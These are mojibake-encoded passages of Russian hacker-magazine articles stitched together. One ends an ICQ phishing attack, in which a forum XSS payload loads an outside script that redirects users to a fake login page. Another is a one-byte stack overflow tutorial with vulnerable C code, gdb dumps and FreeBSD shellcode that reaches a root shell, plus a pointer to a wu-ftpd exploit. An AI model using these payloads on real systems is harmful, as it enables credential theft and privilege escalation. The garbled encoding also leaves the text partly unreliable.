my_site). Âîò è âñå, ôåéê ãîòîâ! Íå çàáóäü òîëüêî âûñòà-
âèòü ïðàâèëüíûé chmod.

[ñîáèðàåì âñå âîåäèíî] Òàê êàê óÿçâèìûé ïàðàìåòð
Subject/Question íå ïðèíèìàë áîëåå 55 çíàêîâ, ïðèøëîñü
ïðèáåãíóòü ê îäíîé õèòðîñòè. Â ôîðóìå ÿ ñîçäàë òåìó ñ çà-
ãîëîâêîì "><script src="http://my_site/1.js"></script>. Ïîòîì
ñîçäàë ôàéë 1.js, â êîòîðûé ïîìåñòèë òàêóþ âîò ñòðîêó:

location.href=unescape('http://www.icq.com|login.php%0
1@www.my_site/login.php');

èëè äëÿ ðàáîòû ñ èôðåéìîì: 

location.href='http://www.icq.com/icq_preferences/sig_pre
view.php?sig=%3Ciframe+src%3Dhttp%3A%2F%2Fmy_si
te%2Flogin.php+height%3D100%25+width%3D100%25+s
crolling=no+frameborder=0%3E';

Ðàçìåùåííûé íà ôîðóìå ñïëîèò ãðóçèë ñ ìîåãî ñàéòà
ñêðèïò 1.js, êîòîðûé ðåäèðåêòèë âñåõ, êòî íàõîäèëñÿ íà
äàííîé ñòðàíèöå ôîðóìà, íà ìîé ôåéê. Ïîëüçîâàòåëü-
æåðòâà, äóìàë, ÷òî ýòî ãëþê ôîðóìà è çàíîâî àâòîðè-
çèðîâàëñÿ, òåì ñàìûì, îñòàâëÿÿ ìíå ñâîè óèíû/ïðèìà-
ðè è ïàðîëè, è ïîñëå ïîïàäàë îáðàòíî íà äîñêó êàê íè
â ÷åì íå áûâàëî.
Âîò è âñå. Òåïåðü çàäà÷à ñòîèò íàä òåì, êàê óäåðæàòü óê-
ðàäåííûå óèíû ó ñåáÿ, íî çíàÿ óèí/ïðèìàðè è ïàðîëü, ýòî
óæå íå ïðîáëåìà :).

[ñàìûé äûðÿâûé ñàéò ãîäà :)] Ïîêà ïèñàë ñòàòüþ, 
â çàêðûòûõ è ïàáëèê ðàçäåëàõ àíòè÷àòà íà÷àëñÿ ãëîáàëü-
íûé ïîèñê áàãîâ â icq.com, è óæå ñåé÷àñ òàì åñòü î÷åíü
èíòåðåñíûå ðàçðàáîòêè (ìíîæåñòâî ïàññèâíûõ CSS, äûð-
êè, ïîçâîëÿþùèå óãíàòü àéñèêüþøíîå ìûëî, è ò.ä.). 
Â òî æå âðåìÿ, êîãäà ñòàòüÿ óæå áûëà äîïèñàíà, ìíîé áû-
ëî íàéäåíî åùå íåñêîëüêî CSS íà icq.com. Òàê ÷òî äåëàé
âûâîäû è ïðîäîëæàé èññëåäîâàíèÿ

ðèñ.1: ýëåìåíòàðíûé îáõîä ôèëüòðà íà êîëè÷åñòâî
ââîäèìûõ ñèìâîëîâ

ðèñ. 2: ñêðèïò â óÿçâèìîì ïîëå

ìîé ôåéê, îòîáðàæåííûé ÷åðåç èôðåéì

ìîé ôåéê, èñïîëüçóþùèé url-spoofingðèñ.3: ìîè êóêèñû âî âñåé ñâîåé êðàñîòå

ôîðìà äëÿ ïîñòèíãà ñîîáùåíèé 
íà www.linuxsucks.org





ÅÑËÈ ÒÛ ÑËÅÄÈØÜ ÇÀ ÁÀÃÒÐÀÊ-ËÅÍÒÀÌÈ, ÒÎ ÍÀ-
ÂÅÐÍßÊÀ ÑÒÀËÊÈÂÀËÑß Ñ ÓÏÎÌÈÍÀÍÈßÌÈ ÎÁ «ÎÄ-
ÍÎÁÀÉÒÎÂÎÌ ÏÅÐÅÏÎËÍÅÍÈÈ ÁÓÔÅÐÀ» Â ÐÀÇËÈ×-
ÍÛÕ ÑÅÒÅÂÛÕ ÑÅÐÂÈÑÀÕ. ÍÀ ÏÅÐÂÛÉ ÂÇÃËßÄ ÌÎ-
ÆÅÒ ÏÎÊÀÇÀÒÜÑß, ×ÒÎ ÝÒÎ ×ÒÎ-ÒÎ ÍÅÑÓÙÅÑÒÂÅÍ-
ÍÎÅ: ÍÓ ÏÎÄÓÌÀÅØÜ, ÓÄÀÑÒÑß ÏÅÐÅÇÀÏÈÑÀÒÜ
ÎÄÈÍ ÁÀÉÒ ÏÀÌßÒÈ, ÅÐÓÍÄÀ ÊÀÊÀß. ÎÄÍÀÊÎ ÈÍÒÓ-
ÈÒÈÂÍÎÅ ÏÐÅÄÏÎËÎÆÅÍÈÅ, ×ÒÎ ÍÈ×ÅÃÎ ÖÅÍÍÎÃÎ
ÈÇ ÝÒÎÃÎ ÈÇÂËÅ×Ü ÍÅÂÎÇÌÎÆÍÎ, � ÍÅÂÅÐÍÎÅ.
ÑÅÉ×ÀÑ ß ÐÀÑÑÊÀÆÓ ÒÅÁÅ, ÊÀÊÈÌ ÎÁÐÀÇÎÌ ÂÎÇ-
ÌÎÆÍÎ ÍÀÈÁÎËÅÅ ÝÔÔÅÊÒÈÂÍÎ ÈÑÏÎËÜÇÎÂÀÒÜ
ÝÒÓ ËÀÇÅÉÊÓ | 1dt.w0lf

[íà÷àëî] Ïðåæäå âñåãî ñëåäóåò ðàçîáðàòüñÿ ñ òåì, îòêóäà âîçíèêà-
åò òàêàÿ ïðîáëåìà. Â íåêîòîðûõ ñòðîêîâûõ ôóíêöèÿõ çàâåðøàþùèé
ñèìâîë âñåãäà ðàçìåùàåòñÿ â êîíöå ñòðîêè è, ïðè íåäîñòàòî÷íîì
çíàíèè ïðîãðàììèñòîì îñîáåííîñòåé òàêèõ ôóíêöèé, ìîæåò ïðèâå-
ñòè ê ðàçìåùåíèþ äàííîãî ñèìâîëà çà ïðåäåëàìè áóôåðà, âûäåëåí-
íîãî äëÿ õðàíåíèÿ ñòðîêè. Â ýòîì ñëó÷àå ïðîèñõîäèò ñèòóàöèÿ, ïðè

Îäíîáàéòîâîå ïåðåïîëíåíèå
áóôåðà äëÿ âçëîìà ïðîãðàìì 
è ñåòåâûõ äåìîíîâ

êîòîðîé ïåðåçàïèñûâàåòñÿ îäèí áàéò ïàìÿòè. Ýòà, íà ïåðâûé âçãëÿä,
íåçíà÷èòåëüíàÿ ïðîáëåìà ìîæåò ïðèâåñòè ê ïîëíîìó çàõâàòó êîíòðî-
ëÿ íàä èñïîëíÿåìîé ïðîãðàììîé. ×òîáû íå áûòü ãîëîñëîâíûì, ðàñ-
ñìîòðþ êîíêðåòíûé ïðèìåð. Ïðåäïîëîæèì, ÷òî êàêîé-òî ïðîãðàì-
ìèñò íàïèñàë ñëåäóþùèé êîä (òîëüêî íå ñïðàøèâàé ìåíÿ, äëÿ ÷åãî
îí ýòî ñäåëàë :)):

[ïðèìåð óÿçâèìîãî êîäà]

#include <stdio.h>
void cat4(char *);
int main(int argc, char **argv)
{
char a[100] = "";
strncpy(a,argv[1],99);
cat4(argv[2]);
}
void cat4(char * str)
{
char b[4] = "";
strncat(b,str,4);
}

Íà ïåðâûé âçãëÿä, âñå íîðìàëüíî è íèêàêèõ îøèáîê â êîäå íåò. Îäíà-
êî îïûòíûé ÷åëîâåê ñðàçó çàìåòèò: ïðîãðàììèñò çàáûë î òîì, ÷òî
ôóíêöèÿ strncat âñåãäà äîáàâëÿåò ñèìâîë NULL â êîíåö, ñòðîêè è, òà-
êèì îáðàçîì, ïðè ïåðåäà÷å ýòîé ôóíêöèè ñòðîêè èç 4-õ ñèìâîëîâ, ðå-
àëüíî çàïèñàíî â ïàìÿòü áóäåò 5. Òî åñòü 4 áàéòà ñòðîêè + NULL. Ýòîò
ñèìâîë NULL áóäåò çàïèñàí âíå îáëàñòè ïàìÿòè, âûäåëåííîé äëÿ õðà-
íåíèÿ ñòðîêè b, è, ñîîòâåòñòâåííî, ïåðåçàïèøåò íàõîäÿùèåñÿ òàì äàí-
íûå. ×òîáû îïðåäåëèòü, ÷òî èìåííî áóäåò ïåðåçàïèñûâàòüñÿ, íåîáõî-
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(gdb) x/4 0xbfbfeb00
0xbfbfeb00: 0x00000282 0x00000000 0xbfbfeba8 0x080485f8

Çäåñü 0x080485f8 � ýòî àäðåñ âîçâðàòà ôóíêöèè, 0x00000000 � ìåñòî,
âûäåëåííîå äëÿ õðàíåíèÿ ñòðîêè, 0xbfbfeba8 � EBP, ñîõðàíåííûé â ñòåêå.

(gdb) n
0x0804861f in cat4 ()
(gdb) x/4 0xbfbfeb00
0xbfbfeb00: 0x00000282 0x41414141 0xbfbfeb00 0x080485f8

0x080485f8 � àäðåñ âîçâðàòà èç ôóíêöèè (ïîêà îí íàì íåèíòåðåñåí),
0x41414141 � íàøà ñòðîêà, 0xbfbfeb00 � à çäåñü îò÷åòëèâî âèäåí ñèì-
âîë NULL, êîòîðûé ïåðåçàïèñàë ÷àñòü àäðåñà, ñîõðàíåííîãî â ñòåêå.
Èòàê, îäèí áàéò â ñîõðàíåííîì óêàçàòåëå êàäðà ñòåêà áûë áëàãîïîëó÷-
íî íàìè ïåðåçàïèñàí íà 00. Òåïåðü ñàìîå âðåìÿ ðàçîáðàòüñÿ, ÷òî ïðî-
èñõîäèò ïðè âûõîäå èç ôóíêöèè. Ïðè âûõîäå èç ôóíêöèè ïðîèñõîäèò âû-
ïîëíåíèå äâóõ èíñòðóêöèé:

0x08048622 <cat4+34>: leave
0x08048623 <cat4+35>: ret

[èíñòðóêöèÿ leave] Èíñòðóêöèÿ leave ýêâèâàëåíòíà ïîñëåäîâàòåëüíîñòè:

mov %ebp,%esp
pop ebp

Leave êîïèðóåò ðåãèñòð ebp â esp, ïîñëå ÷åãî â ðåãèñòð ebp çíà÷åíèå
èçâëåêàåòñÿ èç ñòåêà. Òàêèì îáðàçîì, ñòåê ïîñëå âûçîâà leave äîë-
æåí âîçâðàùàòüñÿ â òàêîå æå ñîñòîÿíèå, êàê è äî ïðîëîãà ôóíêöèè.
Òàê êàê â ðåãèñòð EBP çíà÷åíèå èçâëåêàåòñÿ èç âåðøèíû ñòåêà, òî
åñòü âîññòàíàâëèâàåòñÿ èç ñîõðàíåííîãî óêàçàòåëÿ êàäðà ñòåêà, êî-
òîðûé ìû óæå èçìåíèëè ïóòåì ïåðåçàïèñè îäíîãî áàéòà, òî è çíà÷å-
íèå ebp áóäåò èçìåíåíî ïî îòíîøåíèþ ê ebp, êîòîðûé áûë ïðè âõî-

äèìî ðàçîáðàòüñÿ ñ òåì, ÷òî ïðî-
èñõîäèò ïðè âûçîâå ôóíêöèè.

[÷òî ïðîèñõîäèò?] Ïðè âûçîâå
cat4 èç main âûïîëíÿåòñÿ êîìàíäà
àññåìáëåðà call, ïðè ýòîì â ñòåê
ïðîòàëêèâàåòñÿ àäðåñ âîçâðàòà,
ýòî çíà÷åíèå áóäåò àäðåñîì êî-
ìàíäû, ñëåäóþùåé çà òåêóùèì
eip. Äàëåå çà çàïèñüþ àäðåñà âîç-
âðàòà ñëåäóåò òî, ÷òî íàçûâàåòñÿ
ïðîëîãîì ïðîöåäóðû. Íà ýòîì ýòà-
ïå â ñòåê ïðîòàëêèâàåòñÿ òåêóùåå
çíà÷åíèå EBP, îíî íàçûâàåòñÿ
ñîõðàíåííûì óêàçàòåëåì êàäðà è
ïîçäíåå ïðèìåíÿåòñÿ äëÿ âîññòà-
íîâëåíèÿ èñõîäíîãî ñîñòîÿíèÿ
EBP ïðè âûõîäå èç ôóíêöèè. Äà-
ëåå òåêóùåå çíà÷åíèå ESP êîïè-
ðóåòñÿ â EBP è óñòàíàâëèâàåò íî-
âûé êàäð ñòåêà. Åñëè äèçàññåì-
áëèðîâàòü ïðèâåäåííóþ âûøå
ïðîãðàììó, òî áóäåò âèäíî, êàê
ýòî ïðîèñõîäèò:

0x080485f3 <main+95>: call 0x8048600 <cat4>; 
âûçîâ ôóíêöèè // ïðîëîã ôóíêöèè

0x08048600 <cat4+0>: push %ebp; ñîõðàíåíèå ebp â ñòåêå
0x08048601 <cat4+1>: mov %esp,%ebp

Ïîñëå ýòîãî â ñòåêå îòâîäèòñÿ ïàìÿòü äëÿ ëîêàëüíûõ ïåðåìåííûõ ôóíê-
öèè, â íàøåé ïðîãðàììå ýòî áóäåò ñòðîêà b. Òàê êàê â ôóíêöèè cat4 íå
âûäåëÿåòñÿ ìåñòî äëÿ êàêèõ-ëèáî åùå äàííûõ, òî âûäåëåííîå ìåñòî â
ïàìÿòè äëÿ ýòîé ñòðîêè áóäåò ãðàíè÷èòü ñ ìåñòîì, ãäå íàõîäèòñÿ ñîõðà-
íåííûé àäðåñ EBP è, ñîîòâåòñòâåííî, ñèìâîë NULL, êîòîðûé âûøåë çà
ãðàíèöû ïàìÿòè, âûäåëåííîé äëÿ ïåðåìåííîé b, áóäåò ïåðåçàïèñûâàòü
îäèí áàéò â ýòîì àäðåñå.

[ðàáîòàåì â gdb] Ïðîöåññ ïåðåçàïèñè áàéòà â îòëàä÷èêå:

$ gdb one_byte_over
# ñòàâèì áðÿê íà âûçîâ ôóíêöèè strncat
(gdb) b strncat 
(gdb) r CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC-
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC-
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC AAAA
Breakpoint 2, 0x280d2845 in strncat () from /lib/libc.so.5
# îñòàíàâëèâàåìñÿ íà âûçîâå strncat

èçó÷åíèå óÿçâèìîñòè â îòëàä÷èêå gdb

Ñêà÷àòü ñïëîèò äëÿ wu-ftpd
ìîæíî çäåñü: www.securi-
ty.nnov.ru/files/0x82-
wu262.c

Íåñìîòðÿ íà êàæóùóþñÿ
íåçíà÷èòåëüíîñòü ýòîé
óÿçâèìîñòè, îò íåå ïî-
ñòðàäàëè âåñüìà óâàæàå-
ìûå ïðîåêòû: mod_ssl è
wu-ftpd. Êàê òû óæå ïîíÿë,
äàæå ïåðåçàïèñàâ îäèí
áàéò â ñòåêå, âîçìîæíî
çàõâàòèòü óïðàâëåíèå ïðî-
ãðàììîé.

ñîîáùåíèå îá îäíîáàéòîâîì ïåðåïîëíåíèè â mod_ssl

Íà íàøåì äèñêå òû íàé-
äåøü îòëàä÷èê gdb, óÿç-
âèìóþ âåðñèþ wu-ftpd äëÿ
ýêñïåðèìåíòîâ, à òàêæå
èñõîäíèê ñïëîèòà äëÿ
ýòîãî äåìîíà. Ýêñïåðè-
ìåíòèðóé íà ñâîåì êîì-
ïüþòåðå!

ïðèìåð áàæíîé ïðîãðàììû
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äå â ôóíêöèþ. Äàëåå èíñòðóêöèÿ ret ïîìåùàåò çíà÷åíèå ñ âåðøèíû
ñòåêà â ðåãèñòð eip è ïðîäîëæàåò âûïîëíåíèå ïðîãðàììû. Â îòëàä-
÷èêå ìîæíî óâèäåòü, êàê ïðè âûõîäå èç ôóíêöèè cat4 âîññòàíàâëè-
âàåòñÿ èç ñòåêà çíà÷åíèå ebp:

(gdb) n
0x080485f8 in main ()
(gdb) i r
ebp 0xbfbfeb00 0xbfbfeb00

Èòàê, êàê âèäíî, èçìåíåííûé íàìè àäðåñ áëàãîïîëó÷íî ïîïàäàåò â
ðåãèñòð ebp. 
Òàêèì îáðàçîì, ôóíêöèÿ main ñ íàøåé ëåãêîé ðóêè áóäåò ðàáîòàòü ñ èç-
ìåíåííûì óêàçàòåëåì. Äàëåå íàøà ìíîãîñòðàäàëüíàÿ ôóíêöèÿ main
òàêæå çàâåðøàåò ñâîþ ðàáîòó è äåéñòâóåò ïî òàêîìó æå ïðèíöèïó, òî
åñòü leave è ret.
Íî òàê êàê ïðè âîçâðàòå â ôóíêöèþ main ìû óæå èçìåíèëè çíà÷åíèå
ebp, òî è ðàáîòà ñî ñòåêîì â ýòîé ôóíêöèè áóäåò èäòè â ñîîòâåòñòâèè ñ

èçìåíåííûì çíà÷åíèåì è äàííûå èç ñòåêà áóäóò ÷èòàòüñÿ íå ïî òîìó àä-
ðåñó, ïî êîòîðîìó ïðåäïîëàãàëîñü.
Ñìîòðèì, ÷òî íàõîäèòñÿ ïî àäðåñó, â êîòîðîì ìû èçìåíèëè ðåãèñòð ebp:

(gdb) x/4 0xbfbfeb00
0xbfbfeb00: 0x00000282 0x41414141 0xbfbfeb00 0x080485f8

Çíà÷èò, ïðè âûõîäå ôóíêöèÿ ïðî÷èòàåò 0x00000282 â ebp ïðè âûïîëíå-
íèè leave. Ïîñëå ÷åãî ïðî÷èòàåò 0x41414141 â eip ïðè âûïîëíåíèè ret è
ïîòîì ïîïûòàåòñÿ ïðûãíóòü íà 0õ41414141. Ïðîâåðèì ýòî:

(gdb) ni
0x080485fc in main ()
(gdb) i r
ebp 0x282 0x282

0x282 � ïåðâàÿ ÷àñòü ìàðëåçîíñêîãî áàëåòà, ebp âîññòàíîâëåí èç ñòåêà.

Eip 0x80485fc 0x80485fc
(gdb) ni
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
ebp 0x282 0x282
eip 0x41414141 0x41414141

Âèäíî, ÷òî eip ïåðåçàïèñàí, ñîîòâåòñòâåííî, ïîëó÷àåì sigserv. Òàêèì
îáðàçîì, èìåÿ âîçìîæíîñòü óïðàâëÿòü äàííûìè, êîòîðûå ðàñïîëàãàþò-
ñÿ ïî àäðåñàì, íà êîòîðûå áóäåò óêàçûâàòü èçìåíåííûé ebp, ìû ïîëó-
÷àåì âîçìîæíîñòü óïðàâëÿòü âûïîëíåíèåì ïðîãðàììû è, çàõâàòèâ
âëàñòü íàä eip, ìîæåì òâîðèòü âñå ÷òî äóøå óãîäíî.

[ïèøåì øåëë-êîä] Íàïðèìåð, ïîïðîáóåì ïåðåíàïðàâèòü âûïîëíåíèå
ïðîãðàììû ïî àäðåñàì, â êîòîðûõ ó íàñ õðàíèòñÿ ïåðâûé ïåðåäàííûé
ïðèëîæåíèþ àðãóìåíò.
Òàê êàê ïåðåäàííûå ïðîãðàììå àðãóìåíòû ñîõðàíÿþòñÿ â ñòåêå, òî, ñî-
îòâåòñòâåííî, îò èõ äëèíû áóäóò çàâèñåòü àäðåñà, ïî êîòîðûì â äàëü-
íåéøåì áóäåò âûäåëåíî ìåñòî ïîä õðàíåíèå ñòðîê. Ïîýòîìó äëèíà
ïåðâîãî àðãóìåíòà â äàííîì ñëó÷àå ðàññ÷èòûâàåòñÿ òàêèì îáðàçîì,
÷òîáû â äàëüíåéøåì àäðåñ EBP ñ îäíèì îáíóëåííûì áàéòîì óêàçàë íà
àäðåñ, çà êîòîðûì áóäåò õðàíèòñÿ ñòðîêà b, ÷òî âèäíî èç âûøåïðèâå-
äåííîãî ëîãà îòëàä÷èêà. Â íàøåì ñëó÷àå äëèíà ïåðâîãî àðãóìåíòà
äîëæíà áûòü 132 ñèìâîëà. Òàêæå ìîæíî íàéòè äëèíó, ïðè êîòîðîé èç-
ìåíåííûé ebp áóäåò óêàçûâàòü íà ìåñòî, ãäå ðàçìåùàåòñÿ ñòðîêà «a»
èëè åùå ÷òî-òî. Â îáùåì, âñå çàâèñèò îò ñèòóàöèè; â íàøåì ñëó÷àå
äëèíà 132 è ebp óêàçûâàåò íà ñòðîêó «b».
Äàëåå, òàê êàê ìû ñîáèðàåìñÿ èçìåíÿòü eip íà àäðåñ, ïî êîòîðîìó ðàñ-
ïîëîæåíà ñòðîêà «b», ñëåäóåò ó÷åñòü, ÷òî â ñòðîêó êîïèðóåòñÿ òîëüêî
ïåðâûå 99 ñèìâîëîâ èç ïåðâîãî àðãóìåíòà ïðîãðàììû. Òàêèì îáðàçîì,
øåëë-êîä íàì ïðèäåòñÿ ðàñïîëàãàòü èìåííî â ïåðâûõ 99 ñèìâîëàõ.
Èòàê, ïðèñòóïèì. Âîçüìåì øåëë-êîä ïîä íàøó ñèñòåìó (freebsd) è ðàç-
ìåñòèì åãî â ïåðâîì àðãóìåíòå ïðîãðàììû:

`perl -e '
print "\x90"x70; 
print "\x31\xc0\x50\xb0\x17\x50\xcd\x80\x50\x68\x6e\x2f\x73\x68\x68\x2f
\x2f\x62\x69\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";
print "H"x33;
print " ";
print "AAAA";
'`

[ñòðóêòóðà] Ðàçáåðó ñòðóêòóðó øåëë-êîäà ïîäðîáíåå. Ñíà÷àëà èäóò
70 íîïîâ (99 ñèìâîëîâ ìèíóñ 29 äëÿ øåëë-êîäà). Çàòåì ñëåäóåò ñàì
øåëë-êîä, ïîñëå ýòîãî ðàçìåùàþòñÿ 33 ñèìâîëà äëÿ òîãî, ÷òîáû îáùàÿ
äëèíà ïåðâîãî àðãóìåíòà ïîëó÷èëàñü ðàâíîé 132 ñèìâîëàì. Çàòåì ìû

ÏÅÐÅÏÎËÍÅÍÈÅ ÂÂ WWU-FFTPD

Ïàðó ëåò íàçàä íà ñâåò ïîÿâèëñÿ çàíèìàòåëüíûé ýê-
ñïëîéò, èñïîëüçóþùèé îøèáêó â wu-ftpd âåðñèé 2.5.0 <=
2.6.2. Îäíîáàéòîâîå ïåðåïîëíåíèå â ôóíêöèè fb_real-
path() ïðèâåëî ê òîìó, ÷òî ëîêàëüíûé èëè óäàëåííûé
âçëîìùèê ìîã áåç ïðîáëåì ïîëó÷èòü ðóòîâûå ïðàâà íà
ìàøèíå ñ óñòàíîâëåííûì áàæíûì äåìîíîì.
Çëîñ÷àñòíîå ïåðåïîëíåíèå âîçíèêàëî, êîãäà äëèíà ïó-
òè, ê êîòîðîìó îñóùåñòâëÿåòñÿ îáðàùåíèå, ðàâíÿëàñü
MAXPATHLEN+1 ñèìâîëàì. Ïåðåïîëíåíèå îòâåäåííîãî
áóôåðà ïîçâîëÿëî ïåðåçàïèñàòü èíôîðìàöèþ â ñòåêå.
Óÿçâèìîñòü � ðåçóëüòàò íåêîððåêòíîãî èñïîëüçîâàíèÿ
ïåðåìåíîé rootd ïðè âû÷èñëåíèè äëèíû êîíêàòåíèðî-
âàííîé ñòðîêè: 

/*
* Join the two strings together, ensuring that the right thing
* happens if the last component is empty, or the dirname is root.
*/
if (resolved[0] == '/' && resolved[1] == '\0')

rootd = 1;
else

rootd = 0;

if (*wbuf) {
if (strlen(resolved) + strlen(wbuf) + rootd + 1 > MAXPATHLEN) {

errno = ENAMETOOLONG;
goto err1;

}
if (rootd == 0)

(void) strcat(resolved, "/");
(void) strcat(resolved, wbuf);
}

Â ðåçóëüòàòå, ïðè ïîìîùè ëþáîé FTP-êîìàíäû âîç-
ìîæíî ïåðåïîëíèòü áóôåð è ïåðåõâàòèòü óïðàâëåíèå
ïðîãðàììîé.Íà íåêîòîðûõ ñèñòåìàõ èñïîëüçîâàòü ýòîò
áàã íåâîçìîæíî. Òàêîé
îáëîì âîçíèêàåò â ñëó÷àå,
êîãäà ðàçìåð îòâåäåííîãî
ïîä ñòðîêó áóôåðà, áîëü-
øå, ÷åì MAXPATHLEN.
Ýòî âåðíî äëÿ wu-ftpd, ñî-
áðàííûõ íà âåðñèÿõ ëè-
íóêñîâîãî ÿäðà, â êîòîðûõ
äëèíà PATH_MAX è MAX-
PATHLEN æåñòêî çàôèê-
ñèðîâàíà íà 4095 áàéòàõ
� íàïðèìåð, 2.2.x è ðàí-
íèå 2.4.x. Ïîýòîìó èñïîëü-
çîâàòü ñïëîèò äëÿ ýòîé
äûðû ìîæíî òîëüêî ïðî-
òèâ ftpd-äåìîíîâ, ñîáðàí-
íûõ íà 2.0.x èëè áîëåå
ïîçäíèõ 2.4.x

èñïîëüçîâàíèå íàøåãî øåëë-êîäà íà ïðàêòèêå

ñïëîèò äëÿ wu-ftpd



ðàñïîëàãàåì ïðîáåë è 4 ñèìâîëà «A», êîòîðûå ïîêà áóäóò îëèöåòâîðÿòü
ñîáîé àäðåñ âîçâðàòà. Òåïåðü çàïóñêàåì îòëàä÷èê ñ òàêèì àðãóìåíòîì
ê ïðîãðàììå è ñìîòðèì, ÷òî èç ýòîãî ïîëó÷èëîñü:

[îòëàäêà øåëë-êîäà â gdb]

$ gdb one_byte_over
(gdb) r `perl -e 'print "\x90"x70; print "\x31\xc0\x50\xb0\x17\x50\xcd\x80\x50
\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x54\x53\x50\xb0\x
3b\xcd\x80";print "H"x33; print " "; print "AAAA";'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/100 0xbfbfeb00
0xbfbfeb00: 0x00000282 0x41414141 0xbfbfeb00 0x080485f8
0xbfbfeb10: 0xbfbfed84 0xbfbfecff 0x00000063 0x2804ef23
0xbfbfeb20: 0x08048358 0x068acf04 0x28070000 0xbfbfeb48
0xbfbfeb30: 0x00000001 0x90909090 0x90909090 0x90909090
0xbfbfeb40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfbfeb50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfbfeb60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfbfeb70: 0x90909090 0x90909090 0xc0319090 0x5017b050
0xbfbfeb80: 0x685080cd 0x68732f6e 0x622f2f68 0x50e38969
0xbfbfeb90: 0xb0505354 0x0080cd3b 0xbfbfebec 0x2804da09
0xbfbfeba0: 0x28070000 0x00000001 0x0804864c 0xbfbfebec
0xbfbfebb0: 0x080484e9 0x00000003 0xbfbfebf4 0xbfbfec04
0xbfbfebc0: 0x080484de 0x0804864c 0xbfbfebe8 0x00000000
0xbfbfebd0: 0x00000000 0x00000000 0x2804d9ee 0xbfbfebf0
0xbfbfebe0: 0xbfbfebe8 0x00000000 0x00000000 0x00000000
0xbfbfebf0: 0x00000003 0xbfbfecd8 0xbfbfecff 0xbfbfed84
0xbfbfec00: 0x00000000 0xbfbfed89 0xbfbfed9b 0xbfbfeda6
0xbfbfec10: 0xbfbfedc0 0xbfbfedd2 0xbfbfeddc 0xbfbfede8
0xbfbfec20: 0xbfbfedfd 0xbfbfee27 0xbfbfee3b 0xbfbfeea6
0xbfbfec30: 0xbfbfeebc 0xbfbfeec8 0xbfbfeee1 0xbfbfef15
0xbfbfec40: 0xbfbfef27 0xbfbfef30 0xbfbfef38 0xbfbfef48
0xbfbfec50: 0xbfbfef55 0xbfbfef62 0xbfbfef84 0x00000000
0xbfbfec60: 0x00000003 0x08048034 0x00000004 0x00000020
0xbfbfec70: 0x00000005 0x00000006 0x00000006 0x00001000
0xbfbfec80: 0x00000008 0x00000000 0x00000009 0x08048464

Òàêèì îáðàçîì, ìû ìîæåì èñïîëüçîâàòü àäðåñà 0xbfbfeb34 � 0xbfbfeb74
â êà÷åñòâå àäðåñà âîçâðàòà. Ïðîâåðèì ýòîò íàø âûâîä íà ïðàêòèêå.

$ sudo chown root one_byte_over
$ sudo chmod +s one_byte_over
$ ./one_byte_over `perl -e 'print "\x90"x70; print "\x31\xc0\x50\xb0\x17\x50
\xcd\x80\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x54\x
53\x50\xb0\x3b\xcd\x80";print "H"x33; print " "; print "\x44\xeb\xbf\xbf";'`
Bus error

Àäðåñà, ïî êîòîðûì ðàñïîëàãàþòñÿ äàííûå, áóäóò îòëè÷àòüñÿ ïðè
âûïîëíåíèè â îòëàä÷èêå è âíå åãî èç-çà ðàçëè÷èé â ïåðåìåííûõ
îêðóæåíèÿ. Òàê ÷òî äëÿ òî÷íîãî ïîïàäàíèÿ íà àäðåñ, ïî êîòîðîìó
õðàíèòñÿ âòîðîé àðãóìåíò, íàì ïðèäåòñÿ èçìåíèòü äëèíó ïåðâîãî
àðãóìåíòà. Ýòî íå ñëîæíî è áàíàëüíûì ïåðåáîðîì ìû ìîæåì íàé-
òè íåîáõîäèìóþ äëèíó:

$ ./one_byte_over `perl -e 'print "\x90"x70; print "\x31\xc0\x50\xb0\x17\x50
\xcd\x80\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x54\x
53\x50\xb0\x3b\xcd\x80";print "H"x57; print " "; print "\x44\xeb\xbf\xbf";'`
# id
uid=0(root)

Âóàëÿ, ãîòîâî!

[áî÷êà äåãòÿ] Îäíàêî â êàæäîé ëîæêå ìåäà åñòü áî÷êà äåãòÿ. Äëÿ òî-
ãî ÷òîáû òàêàÿ óÿçâèìîñòü áûëà ýêñïëóàòèðóåìîé, îïèñàííûì ñïîñîáîì
íåîáõîäèìî âûïîëíåíèå ñëåäóþùèõ óñëîâèé:

1 Âî-ïåðâûõ, ÷èñëî áàéò â áóôåðå äîëæíî áûòü êðàòíûì ÷åòûðåì, èíà-
÷å îäíîáàéòîâîå ïåðåïîëíåíèå íå èçìåíèò ñîõðàíåííîãî çíà÷åíèÿ ebp.

2 Âî-âòîðûõ, íåîáõîäèìî, ÷òîáû àòàêóþùèé èìåë âîçìîæíîñòü êîíòðî-
ëèðîâàòü îáëàñòü ïàìÿòè, íà êîòîðóþ óêàæåò èçìåíåííûé ebp.

È òåì íå ìåíåå, íå ñìîòðÿ íà î÷åâèäíûå îãðàíè÷åíèÿ, ìíîãèå îøèáêè
ïîäîáíîãî ïëàíà â ðåàëüíûõ ïðèëîæåíèÿõ ïîäâåðæåíû ýêñïëóàòàöèè,
êàê, íàïðèìåð, îäíîáàéòîâîå ïåðåïîëíåíèå â mod_ssl â Apache è ïåðå-
ïîëíåíèå â wu-ftpd
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[ðàçáåðåìñÿ ñ îñíîâàìè] Ïåðâûì äåëîì íóæíî ðàçîáðàòüñÿ ñ òåì,
÷òî æå èç ñåáÿ ïðåäñòàâëÿåò ColdFusion. Ýòî ñåðâåð ïðèëîæåíèé (appli-
cation server), êîòîðîìó âåá-ñåðâåð (÷àùå âñåãî ISS, íî âñòðå÷àþòñÿ è
ñâÿçêè ñ Apache), îòäàåò íà îáðàáîòêó ñïåöèàëüíûå cfm-ôàéëû � ïðî-
èñõîäèò ýòî àáñîëþòíî àíàëîãè÷íî òîìó, êàê php-ôàéëû îáðàáàòûâàþò-
